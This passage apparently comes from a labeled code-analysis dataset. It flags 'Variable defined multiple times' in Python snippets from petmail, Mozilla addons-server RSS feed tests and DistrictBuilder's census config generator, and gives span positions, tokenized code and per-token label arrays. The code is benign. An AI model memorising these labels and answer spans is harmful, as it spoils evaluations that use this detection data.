",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "run_", "(_", "args_", ",_", "stdout_", ",_", "stderr_", ",_", "pet", "mail_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Thi", "s", " ", "is", " ", "invoke", "d", " ", "direct", "ly", " ", "by", " ", "bin", "/", "pet", "mail", ",", " ", "whi", "ch", " ", "configur", "es", " ", "sys", ".", "path", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "contain", " ", "every", "thing", " ", "necessar", "y", " ", "to", " ", "run", " ", "pet", "mail", " ", "from", " ", "a", " ", "source", " ", "tree", " ", "(", "e", ".", "g", ".", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "dep", "s", "-", "venv", "'", "s", " ", "site", "-", "package", "s", " ", "director", "y", ",", " ", "and", " ", "the", " ", "source", " ", "tree", " ", "its", "elf", ").", " ", "It", " ", "can", "\\", "10", ";", " ", " ", " ", " ", "als", "o", " ", "invoke", "d", " ", "by", " ", "entry", "()", " ", "belo", "w", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "=_", "Options_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "._", "parse", "Options_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "usage_", "._", "error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "hasattr_", "(_", "c_", ",_", "'", "sub", "Optio", "ns", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "c_", "._", "sub", "Options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", ">>_", "stderr_", ",_", "str_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "stderr_", ",_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "command_", "=_", "config_", "._", "sub", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "so_", "=_", "config_", "._", "sub", "Options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "so_", "[_", "\"", "pet", "mail", "-", "executable", "\"_", "]_", "=_", "pet", "mail_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rc_", "=_", "DISP", "ATCH", "_", "[_", "command_", "]_", "(_", "so_", ",_", "stdout_", ",_", "stderr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "rc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", ">>_", "stderr_", ",_", "\"--", "-", " ", "Import", "Error", " ", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "stderr_", ",_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "stderr_", ",_", "\"", "Ple", "ase", " ", "run", " ", "'", "python", " ", "setup", ".", "py", " ", "build", "'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
mozilla/addons-server/src/olympia/devhub/tests/test_feeds.py
[ { "content": " def test_rss(self):\n self.log_creates(5)\n # This will give us a new RssKey\n r = self.get_response()\n key = RssKey.objects.get()\n r = self.get_response(privaterss=key.key)\n assert r['content-type'] == 'application/rss+xml; charset=utf-8'\n assert '<title>Recent Changes for My Add-ons</title>' in r.content", "metadata": "root.TestActivity.test_rss", "header": "['class', 'TestActivity', '(', 'HubTest', ')', ':', '___EOS___']", "index": 171 }, { "content": " def test_rss_single(self):\n self.log_creates(5)\n self.log_creates(13, self.addon2)\n\n # This will give us a new RssKey\n r = self.get_response(addon=self.addon.id)\n key = RssKey.objects.get()\n r = self.get_response(privaterss=key.key)\n assert r['content-type'] == 'application/rss+xml; charset=utf-8'\n assert len(pq(r.content)('item')) == 5\n assert '<title>Recent Changes for %s</title>' % self.addon in r.content", "metadata": "root.TestActivity.test_rss_single", "header": "['class', 'TestActivity', '(', 'HubTest', ')', ':', '___EOS___']", "index": 180 }, { "content": " def test_hidden(self):\n version = Version.objects.create(addon=self.addon)\n amo.log(amo.LOG.COMMENT_VERSION, self.addon, version)\n res = self.get_response(addon=self.addon.id)\n key = RssKey.objects.get()\n res = self.get_response(privaterss=key.key)\n assert \"<title>Comment on\" not in res.content", "metadata": "root.TestActivity.test_hidden", "header": "['class', 'TestActivity', '(', 'HubTest', ')', ':', '___EOS___']", "index": 274 } ]
[ { "span": "r ", "start_line": 174, "start_column": 8, "end_line": 174, "end_column": 9 }, { "span": "r ", "start_line": 185, "start_column": 8, "end_line": 185, "end_column": 9 }, { "span": "res ", "start_line": 277, "start_column": 8, "end_line": 277, "end_column": 11 } ]
[ { "span": "res ", "start_line": 279, "start_column": 8, "end_line": 279, "end_column": 11 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Activity_", "(_", "Hub", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "rss_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "\\u", "create", "s_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "give", " ", "us", " ", "a", " ", "new", " ", "Rs", "s", "Key_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "self_", "._", "get", "\\u", "response_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "Rs", "s", "Key_", "._", "objects_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "self_", "._", "get", "\\u", "response_", "(_", "private", "rss_", "=_", "key_", "._", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r_", "[_", "'", "content", "-", "type", "'_", "]_", "==_", "'", "applica", "tion", "/", "rs", "s", "+", "xml", ";", " ", "charset", "=", "utf", "-", "8", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'<", "title", ">", "Rece", "nt", " ", "Change", "s", " ", "for", " ", "My", " ", "Add", "-", "ons", "</", "title", ">'_", "in_", "r_", "._", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Activity_", "(_", "Hub", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "rs", "s", "\\u", "single_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "\\u", "create", "s_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "\\u", "create", "s_", "(_", "13_", ",_", "self_", "._", "addon", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "give", " ", "us", " ", "a", " ", "new", " ", "Rs", "s", "Key_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "self_", "._", "get", "\\u", "response_", "(_", "addon_", "=_", "self_", "._", "addon_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "Rs", "s", "Key_", "._", "objects_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "self_", "._", "get", "\\u", "response_", "(_", "private", "rss_", "=_", "key_", "._", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r_", "[_", "'", "content", "-", "type", "'_", "]_", "==_", "'", "applica", "tion", "/", "rs", "s", "+", "xml", ";", " ", "charset", "=", "utf", "-", "8", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "pq_", "(_", "r_", "._", "content_", ")_", "(_", "'", "item", "'_", ")_", ")_", "==_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'<", "title", ">", "Rece", "nt", " ", "Change", "s", " ", "for", " ", "%", "s", "</", "title", ">'_", "%_", "self_", "._", "addon_", "in_", "r_", "._", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Activity_", "(_", "Hub", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hidden_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "Version_", "._", "objects_", "._", "create_", "(_", "addon_", "=_", "self_", "._", "addon_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "amo", "_", "._", "log_", "(_", "amo", "_", "._", "LOG_", "._", "COMMENT", "\\u", "VERSION_", ",_", "self_", "._", "addon_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "self_", "._", "get", "\\u", "response_", "(_", "addon_", "=_", "self_", "._", "addon_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "Rs", "s", "Key_", "._", "objects_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "self_", "._", "get", "\\u", "response_", "(_", "private", "rss_", "=_", "key_", "._", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "\"<", "title", ">", "Comme", "nt", " ", "on", "\"_", "not_", "in_", "res_", "._", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
PublicMapping/DistrictBuilder/docs/loadcensus/configureCensus.py
[ { "content": "def gen_config(num_districts_congress,num_districts_senate,num_districts_house,sum_TOTPOP,has_election_data=0,has_vtds=0, conf_na=False , \ntarget_na_congress=0, target_hisp_congress = 0 , target_bl_congress = 0,\ntarget_na_house=0, target_hisp_house = 0 , target_bl_house = 0,\ntarget_na_senate =0, target_hisp_senate = 0 , target_bl_senate = 0, contiguityOverrideString = \"\"): \n\n start_na=\"<!--\" \n start_elec=\"<!--\" \n\tend_elec=\"-->\"\n\tend_na=\"-->\"\n midlevel=\"tract\"\n\tif (conf_na==True):\n start_na=\"\"\n end_na=\"\"\n midlevel_width=\"6\"\n midlevel_var=\"TRACTCE10\" \n\tif (has_election_data==1):\n start_elec=\"\"\n end_elec=\"\" \n\tif (has_vtds==1) : \n\t\tmidlevel=\"vtds\"\n midlevel_width=\"4\"\n midlevel_var=\"VTDST10\" \n\tpop_congress = int(round((sum_TOTPOP/float(num_districts_congress))))\n\tpop_congress_max = int(round((sum_TOTPOP/float(num_districts_congress)) * 1.005))\n pop_congress_min = int(round((sum_TOTPOP/float(num_districts_congress)) * 0.995))\n\tpop_house = int(round((sum_TOTPOP/float(num_districts_house))))\n\tpop_house_max = int(round((sum_TOTPOP/float(num_districts_house)) * 1.1))\n pop_house_min = int(round((sum_TOTPOP/float(num_districts_house)) * 0.9))\n\tpop_senate = int(round((sum_TOTPOP/float(num_districts_senate))))\n\tpop_senate_max = int(round((sum_TOTPOP/float(num_districts_senate)) * 1.1))\n pop_senate_min = int(round((sum_TOTPOP/float(num_districts_senate)) * 0.9))\n target_file = '/projects/PublicMapping/DistrictBuilder/docs/config_census_generated.xml'\n f = open(target_file,'w')\n f.write(str( Config_Template(start_elec=start_elec,end_elec=end_elec,num_districts_congress=num_districts_congress,num_districts_house=num_districts_house,num_districts_senate=num_districts_senate,pop_congress_max=pop_congress_max,pop_congress_min=pop_congress_min,pop_senate_max=pop_senate_max, pop_senate_min=pop_senate_min,pop_house_max=pop_house_max,pop_house_min=pop_house_min,pop_congress=pop_congress,pop_senate=pop_senate,pop_house=pop_house,start_na=start_na, end_na=end_na, target_na_congress=target_na_congress, target_hisp_congress=target_hisp_congress, target_bl_congress=target_bl_congress, target_na_house=target_na_house, target_hisp_house=target_hisp_house, target_bl_house=target_bl_house, target_na_senate=target_na_senate, target_hisp_senate=target_hisp_senate, target_bl_senate=target_bl_senate,contiguityOverrideString=contiguityOverrideString)))\n\tf.write(\"\\n\")\n f.close()\n os.chmod(target_file,stat.S_IRUSR|stat.S_IRGRP|stat.S_IROTH) ", "metadata": "root.gen_config", "header": "['module', '___EOS___']", "index": 1662 } ]
[ { "span": "midlevel=", "start_line": 1671, "start_column": 8, "end_line": 1671, "end_column": 16 }, { "span": "midlevel_width=", "start_line": 1675, "start_column": 8, "end_line": 1675, "end_column": 22 }, { "span": "midlevel_var=", "start_line": 1676, "start_column": 8, "end_line": 1676, "end_column": 20 } ]
[ { "span": "midlevel=", "start_line": 1681, "start_column": 2, "end_line": 1681, "end_column": 10 }, { "span": "midlevel_width=", "start_line": 1682, "start_column": 16, "end_line": 1682, "end_column": 30 }, { "span": "midlevel_var=", "start_line": 1683, "start_column": 16, "end_line": 1683, "end_column": 28 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "gen", "\\u", "config_", "(_", "num", "\\u", "district", "s", "\\u", "congr", "ess_", ",_", "num", "\\u", "district", "s", "\\u", "sena", "te_", ",_", "num", "\\u", "district", "s", "\\u", "house_", ",_", "sum", "\\u", "TO", "TP", "OP_", ",_", "has", "\\u", "election", "\\u", "data_", "=_", "0_", ",_", "has", "\\u", "vt", "ds_", "=_", "0_", ",_", "conf", "\\u", "na_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "na", "\\u", "congr", "ess_", "=_", "0_", ",_", "target", "\\u", "his", "p", "\\u", "congr", "ess_", "=_", "0_", ",_", "target", "\\u", "bl", "\\u", "congr", "ess_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "na", "\\u", "house_", "=_", "0_", ",_", "target", "\\u", "his", "p", "\\u", "house_", "=_", "0_", ",_", "target", "\\u", "bl", "\\u", "house_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "na", "\\u", "sena", "te_", "=_", "0_", ",_", "target", "\\u", "his", "p", "\\u", "sena", "te_", "=_", "0_", ",_", "target", "\\u", "bl", "\\u", "sena", "te_", "=_", "0_", ",_", "conti", "guit", "y", "Override", "String_", "=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "na_", "=_", "\"<", "!-", "-\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "elec", "_", "=_", "\"<", "!-", "-\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "elec", "_", "=_", "\"--", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "na_", "=_", "\"--", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mid", "level_", "=_", "\"", "tract", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "conf", "\\u", "na_", "==_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "na_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "na_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mid", "level", "\\u", "width_", "=_", "\"", "6", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mid", "level", "\\u", "var_", "=_", "\"", "TRA", "CTC", "E1", "0", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "has", "\\u", "election", "\\u", "data_", "==_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "elec", "_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "elec", "_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "has", "\\u", "vt", "ds_", "==_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "mid", "level_", "=_", "\"", "vt", "ds", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mid", "level", "\\u", "width_", "=_", "\"", "4", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mid", "level", "\\u", "var_", "=_", "\"", "VT", "DST", "10", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pop", "\\u", "congr", "ess_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "congr", "ess_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "congr", "ess", "\\u", "max_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "congr", "ess_", ")_", ")_", "*_", "1.00", "5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "congr", "ess", "\\u", "min_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "congr", "ess_", ")_", ")_", "*_", "0.99", "5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "house_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "house_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "house", "\\u", "max_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "house_", ")_", ")_", "*_", "1.1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "house", "\\u", "min_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "house_", ")_", ")_", "*_", "0.9_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "sena", "te_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "sena", "te_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "sena", "te", "\\u", "max_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "sena", "te_", ")_", ")_", "*_", "1.1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pop", "\\u", "sena", "te", "\\u", "min_", "=_", "int_", "(_", "round_", "(_", "(_", "sum", "\\u", "TO", "TP", "OP_", "/_", "float_", "(_", "num", "\\u", "district", "s", "\\u", "sena", "te_", ")_", ")_", "*_", "0.9_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "file_", "=_", "'/", "project", "s", "/", "Public", "Map", "ping", "/", "Distr", "ict", "Build", "er", "/", "docs", "/", "config", "\\u", "census", "\\u", "generat", "ed", ".", "xml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "target", "\\u", "file_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "str_", "(_", "Config", "\\u", "Template_", "(_", "start", "\\u", "elec", "_", "=_", "start", "\\u", "elec", "_", ",_", "end", "\\u", "elec", "_", "=_", "end", "\\u", "elec", "_", ",_", "num", "\\u", "district", "s", "\\u", "congr", "ess_", "=_", "num", "\\u", "district", "s", "\\u", "congr", "ess_", ",_", "num", "\\u", "district", "s", "\\u", "house_", "=_", "num", "\\u", "district", "s", "\\u", "house_", ",_", "num", "\\u", "district", "s", "\\u", "sena", "te_", "=_", "num", "\\u", "district", "s", "\\u", "sena", "te_", ",_", "pop", "\\u", "congr", "ess", "\\u", "max_", "=_", "pop", "\\u", "congr", "ess", "\\u", "max_", ",_", "pop", "\\u", "congr", "ess", "\\u", "min_", "=_", "pop", "\\u", "congr", "ess", "\\u", "min_", ",_", "pop", "\\u", "sena", "te", "\\u", "max_", "=_", "pop", "\\u", "sena", "te", "\\u", "max_", ",_", "pop", "\\u", "sena", "te", "\\u", "min_", "=_", "pop", "\\u", "sena", "te", "\\u", "min_", ",_", "pop", "\\u", "house", "\\u", "max_", "=_", "pop", "\\u", "house", "\\u", "max_", ",_", "pop", "\\u", "house", "\\u", "min_", "=_", "pop", "\\u", "house", "\\u", "min_", ",_", "pop", "\\u", "congr", "ess_", "=_", "pop", "\\u", "congr", "ess_", ",_", "pop", "\\u", "sena", "te_", "=_", "pop", "\\u", "sena", "te_", ",_", "pop", "\\u", "house_", "=_", "pop", "\\u", "house_", ",_", "start", "\\u", "na_", "=_", "start", "\\u", "na_", ",_", "end", "\\u", "na_", "=_", "end", "\\u", "na_", ",_", "target", "\\u", "na", "\\u", "congr", "ess_", "=_", "target", "\\u", "na", "\\u", "congr", "ess_", ",_", "target", "\\u", "his", "p", "\\u", "congr", "ess_", "=_", "target", "\\u", "his", "p", "\\u", "congr", "ess_", ",_", "target", "\\u", "bl", "\\u", "congr", "ess_", "=_", "target", "\\u", "bl", "\\u", "congr", "ess_", ",_", "target", "\\u", "na", "\\u", "house_", "=_", "target", "\\u", "na", "\\u", "house_", ",_", "target", "\\u", "his", "p", "\\u", "house_", "=_", "target", "\\u", "his", "p", "\\u", "house_", ",_", "target", "\\u", "bl", "\\u", "house_", "=_", "target", "\\u", "bl", "\\u", "house_", ",_", "target", "\\u", "na", "\\u", "sena", "te_", "=_", "target", "\\u", "na", "\\u", "sena", "te_", ",_", "target", "\\u", "his", "p", "\\u", "sena", "te_", "=_", "target", "\\u", "his", "p", "\\u", "sena", "te_", ",_", "target", "\\u", "bl", "\\u", "sena", "te_", "=_", "target", "\\u", "bl", "\\u", "sena", "te_", ",_", "conti", "guit", "y", "Override", "String_", "=_", "conti", "guit", "y", "Override", "String_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chmod_", "(_", "target", "\\u", "file_", ",_", "stat_", "._", "S", "\\u", "IR", "USR", "_", "|_", "stat_", "._", "S", "\\u", "IR", "GRP", "_", "|_", "stat_", "._", "S", "\\u", "IRO", "TH_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
